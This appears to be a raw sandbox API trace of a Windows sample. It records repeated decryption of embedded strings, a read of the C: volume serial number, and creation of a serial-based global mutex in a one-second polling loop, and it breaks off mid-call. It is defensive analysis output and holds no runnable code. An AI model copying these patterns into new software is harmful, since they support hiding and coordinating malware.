[0127.040] WaitForMultipleObjects (nCount=0x4, lpHandles=0x53fd88*=0x218, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 147 os_tid = 0xdb4 Thread: id = 149 os_tid = 0xdc4 [0118.865] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe71230 [0118.865] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x799608) returned 1 [0118.865] CryptSetKeyParam (hKey=0x799608, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0118.865] CryptDecrypt (in: hKey=0x799608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0xe1f938 | out: pbData=0xe71230, pdwDataLen=0xe1f938) returned 1 [0118.865] CryptDestroyKey (hKey=0x799608) returned 1 [0118.865] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71258 [0118.865] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe71280 [0118.865] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe712a8 [0118.865] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x799288) returned 1 [0118.865] CryptSetKeyParam (hKey=0x799288, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0118.865] CryptDecrypt (in: hKey=0x799288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe712a8, pdwDataLen=0xe1f910 | out: pbData=0xe712a8, pdwDataLen=0xe1f910) returned 1 [0118.865] CryptDestroyKey (hKey=0x799288) returned 1 [0118.865] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe712a8 | out: hHeap=0xe70000) returned 1 [0118.865] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe71258, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0118.865] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71280 | out: hHeap=0xe70000) returned 1 [0118.865] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 [0118.865] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0118.865] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71258 | out: hHeap=0xe70000) returned 1 [0118.866] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe71230 [0118.866] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x799648) returned 1 [0118.866] CryptSetKeyParam (hKey=0x799648, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0118.866] CryptDecrypt (in: hKey=0x799648, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0xe1f96c | out: pbData=0xe71230, pdwDataLen=0xe1f96c) returned 1 [0118.866] CryptDestroyKey (hKey=0x799648) returned 1 [0118.866] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71278 [0118.866] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0118.866] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x21c [0118.866] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0x0) returned 0x0 [0118.866] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 [0118.866] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71278 | out: hHeap=0xe70000) returned 1 [0118.866] ReleaseMutex (hMutex=0x21c) returned 1 [0118.866] CloseHandle (hObject=0x21c) returned 1 [0118.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1331f44, lpParameter=0x1, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c [0118.866] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe71230 [0118.866] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x799788) returned 1 [0118.866] CryptSetKeyParam (hKey=0x799788, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0118.866] CryptDecrypt (in: hKey=0x799788, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0xe1f938 | out: pbData=0xe71230, pdwDataLen=0xe1f938) returned 1 [0118.866] CryptDestroyKey (hKey=0x799788) returned 1 [0118.866] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71258 [0118.867] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe71280 [0118.867] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe712a8 [0118.867] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x799508) returned 1 [0118.867] CryptSetKeyParam (hKey=0x799508, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0118.867] CryptDecrypt (in: hKey=0x799508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe712a8, pdwDataLen=0xe1f910 | out: pbData=0xe712a8, pdwDataLen=0xe1f910) returned 1 [0118.867] CryptDestroyKey (hKey=0x799508) returned 1 [0118.867] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe712a8 | out: hHeap=0xe70000) returned 1 [0118.867] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe71258, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0118.867] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71280 | out: hHeap=0xe70000) returned 1 [0118.867] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 [0118.867] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0118.867] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71258 | out: hHeap=0xe70000) returned 1 [0118.867] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe71230 [0118.867] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x7993c8) returned 1 [0118.867] CryptSetKeyParam (hKey=0x7993c8, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0118.867] CryptDecrypt (in: hKey=0x7993c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71230, pdwDataLen=0xe1f96c | out: pbData=0xe71230, pdwDataLen=0xe1f96c) returned 1 [0118.867] CryptDestroyKey (hKey=0x7993c8) returned 1 [0118.867] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe71278 [0118.867] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0118.867] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x220 [0118.867] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x0 [0118.867] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71230 | out: hHeap=0xe70000) returned 1 [0118.867] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71278 | out: hHeap=0xe70000) returned 1 [0118.867] ReleaseMutex (hMutex=0x220) returned 1 [0118.867] CloseHandle (hObject=0x220) returned 1 [0118.867] Sleep (dwMilliseconds=0x3e8) [0120.146] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe71460 [0120.147] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x7992c8) returned 1 [0120.147] CryptSetKeyParam (hKey=0x7992c8, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0120.147] CryptDecrypt (in: hKey=0x7992c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0xe1f938 | out: pbData=0xe71460, pdwDataLen=0xe1f938) returned 1 [0120.147] CryptDestroyKey (hKey=0x7992c8) returned 1 [0120.147] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71488 [0120.147] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe714b0 [0120.147] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe752c0 [0120.147] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x799608) returned 1 [0120.147] CryptSetKeyParam (hKey=0x799608, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0120.147] CryptDecrypt (in: hKey=0x799608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe752c0, pdwDataLen=0xe1f910 | out: pbData=0xe752c0, pdwDataLen=0xe1f910) returned 1 [0120.147] CryptDestroyKey (hKey=0x799608) returned 1 [0120.147] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe752c0 | out: hHeap=0xe70000) returned 1 [0120.147] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe71488, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0120.147] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714b0 | out: hHeap=0xe70000) returned 1 [0120.147] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0120.147] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0120.147] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71488 | out: hHeap=0xe70000) returned 1 [0120.147] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe71460 [0120.147] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x799688) returned 1 [0120.147] CryptSetKeyParam (hKey=0x799688, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0120.147] CryptDecrypt (in: hKey=0x799688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0xe1f96c | out: pbData=0xe71460, pdwDataLen=0xe1f96c) returned 1 [0120.147] CryptDestroyKey (hKey=0x799688) returned 1 [0120.147] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe714a8 [0120.147] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0120.147] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x268 [0120.147] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x0) returned 0x0 [0120.147] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0120.147] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714a8 | out: hHeap=0xe70000) returned 1 [0120.147] ReleaseMutex (hMutex=0x268) returned 1 [0120.147] CloseHandle (hObject=0x268) returned 1 [0120.147] Sleep (dwMilliseconds=0x3e8) [0121.159] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe71460 [0121.159] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x7b67e0) returned 1 [0121.159] CryptSetKeyParam (hKey=0x7b67e0, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0121.159] CryptDecrypt (in: hKey=0x7b67e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0xe1f938 | out: pbData=0xe71460, pdwDataLen=0xe1f938) returned 1 [0121.159] CryptDestroyKey (hKey=0x7b67e0) returned 1 [0121.159] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71488 [0121.159] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe714b0 [0121.159] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe752c0 [0121.159] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x7b6660) returned 1 [0121.159] CryptSetKeyParam (hKey=0x7b6660, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0121.159] CryptDecrypt (in: hKey=0x7b6660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe752c0, pdwDataLen=0xe1f910 | out: pbData=0xe752c0, pdwDataLen=0xe1f910) returned 1 [0121.159] CryptDestroyKey (hKey=0x7b6660) returned 1 [0121.159] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe752c0 | out: hHeap=0xe70000) returned 1 [0121.159] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe71488, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0121.159] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714b0 | out: hHeap=0xe70000) returned 1 [0121.159] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0121.159] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0121.159] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71488 | out: hHeap=0xe70000) returned 1 [0121.159] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe71460 [0121.159] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x7b6660) returned 1 [0121.159] CryptSetKeyParam (hKey=0x7b6660, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0121.160] CryptDecrypt (in: hKey=0x7b6660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0xe1f96c | out: pbData=0xe71460, pdwDataLen=0xe1f96c) returned 1 [0121.160] CryptDestroyKey (hKey=0x7b6660) returned 1 [0121.160] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe714a8 [0121.160] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0121.160] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x408 [0121.160] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0x0) returned 0x0 [0121.160] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0121.160] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714a8 | out: hHeap=0xe70000) returned 1 [0121.160] ReleaseMutex (hMutex=0x408) returned 1 [0121.160] CloseHandle (hObject=0x408) returned 1 [0121.160] Sleep (dwMilliseconds=0x3e8) [0122.452] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe71460 [0122.452] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x7b6060) returned 1 [0122.452] CryptSetKeyParam (hKey=0x7b6060, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0122.452] CryptDecrypt (in: hKey=0x7b6060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0xe1f938 | out: pbData=0xe71460, pdwDataLen=0xe1f938) returned 1 [0122.452] CryptDestroyKey (hKey=0x7b6060) returned 1 [0122.452] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71488 [0122.452] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe714b0 [0122.452] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe752c0 [0122.452] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x7b5e60) returned 1 [0122.452] CryptSetKeyParam (hKey=0x7b5e60, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0122.453] CryptDecrypt (in: hKey=0x7b5e60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe752c0, pdwDataLen=0xe1f910 | out: pbData=0xe752c0, pdwDataLen=0xe1f910) returned 1 [0122.453] CryptDestroyKey (hKey=0x7b5e60) returned 1 [0122.453] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe752c0 | out: hHeap=0xe70000) returned 1 [0122.453] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe71488, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0122.453] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714b0 | out: hHeap=0xe70000) returned 1 [0122.453] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0122.453] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0122.453] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71488 | out: hHeap=0xe70000) returned 1 [0122.453] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe71460 [0122.453] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x7b5ca0) returned 1 [0122.453] CryptSetKeyParam (hKey=0x7b5ca0, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0122.453] CryptDecrypt (in: hKey=0x7b5ca0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0xe1f96c | out: pbData=0xe71460, pdwDataLen=0xe1f96c) returned 1 [0122.453] CryptDestroyKey (hKey=0x7b5ca0) returned 1 [0122.453] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe714a8 [0122.453] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0122.453] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x490 [0122.453] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x0 [0122.453] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0122.453] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714a8 | out: hHeap=0xe70000) returned 1 [0122.453] ReleaseMutex (hMutex=0x490) returned 1 [0122.453] CloseHandle (hObject=0x490) returned 1 [0122.453] Sleep (dwMilliseconds=0x3e8) [0123.463] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe71460 [0123.463] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x7b5f60) returned 1 [0123.463] CryptSetKeyParam (hKey=0x7b5f60, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0123.463] CryptDecrypt (in: hKey=0x7b5f60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0xe1f938 | out: pbData=0xe71460, pdwDataLen=0xe1f938) returned 1 [0123.463] CryptDestroyKey (hKey=0x7b5f60) returned 1 [0123.463] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe71488 [0123.463] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe714b0 [0123.463] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe752c0 [0123.463] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x7b5d60) returned 1 [0123.463] CryptSetKeyParam (hKey=0x7b5d60, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0123.463] CryptDecrypt (in: hKey=0x7b5d60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe752c0, pdwDataLen=0xe1f910 | out: pbData=0xe752c0, pdwDataLen=0xe1f910) returned 1 [0123.463] CryptDestroyKey (hKey=0x7b5d60) returned 1 [0123.463] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe752c0 | out: hHeap=0xe70000) returned 1 [0123.463] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe71488, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0123.463] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714b0 | out: hHeap=0xe70000) returned 1 [0123.463] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0123.464] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0123.464] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71488 | out: hHeap=0xe70000) returned 1 [0123.464] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x40) returned 0xe71460 [0123.464] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f9b8 | out: phKey=0xe1f9b8*=0x7b60e0) returned 1 [0123.464] CryptSetKeyParam (hKey=0x7b60e0, dwParam=0x1, pbData=0xe1f9a0, dwFlags=0x0) returned 1 [0123.464] CryptDecrypt (in: hKey=0x7b60e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe71460, pdwDataLen=0xe1f96c | out: pbData=0xe71460, pdwDataLen=0xe1f96c) returned 1 [0123.464] CryptDestroyKey (hKey=0x7b60e0) returned 1 [0123.464] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x34) returned 0xe714a8 [0123.464] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0123.464] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x490 [0123.464] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x0 [0123.464] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe71460 | out: hHeap=0xe70000) returned 1 [0123.464] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe714a8 | out: hHeap=0xe70000) returned 1 [0123.464] ReleaseMutex (hMutex=0x490) returned 1 [0123.464] CloseHandle (hObject=0x490) returned 1 [0123.464] Sleep (dwMilliseconds=0x3e8) [0124.610] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x20) returned 0xe79498 [0124.610] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f984 | out: phKey=0xe1f984*=0x7b5aa0) returned 1 [0124.610] CryptSetKeyParam (hKey=0x7b5aa0, dwParam=0x1, pbData=0xe1f96c, dwFlags=0x0) returned 1 [0124.610] CryptDecrypt (in: hKey=0x7b5aa0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79498, pdwDataLen=0xe1f938 | out: pbData=0xe79498, pdwDataLen=0xe1f938) returned 1 [0124.610] CryptDestroyKey (hKey=0x7b5aa0) returned 1 [0124.610] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x1e) returned 0xe794c0 [0124.610] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x1e) returned 0xe794e8 [0124.610] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x90) returned 0xe7a730 [0124.611] CryptImportKey (in: hProv=0x7868d8, pbData=0xe1f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xe1f95c | out: phKey=0xe1f95c*=0x7b5aa0) returned 1 [0124.611] CryptSetKeyParam (hKey=0x7b5aa0, dwParam=0x1, pbData=0xe1f944, dwFlags=0x0) returned 1 [0124.611] CryptDecrypt (in: hKey=0x7b5aa0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe7a730, pdwDataLen=0xe1f910 | out: pbData=0xe7a730, pdwDataLen=0xe1f910) returned 1 [0124.611] CryptDestroyKey (hKey=0x7b5aa0) returned 1 [0124.611] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe7a730 | out: hHeap=0xe70000) returned 1 [0124.611] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xe794c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0124.611] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe794e8 | out: hHeap=0xe70000) returned 1 [0124.611] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79498 | out: hHeap=0xe70000) returned 1 [0124.611] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xe1f9c4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xe1f9c4*=0xb4197730, 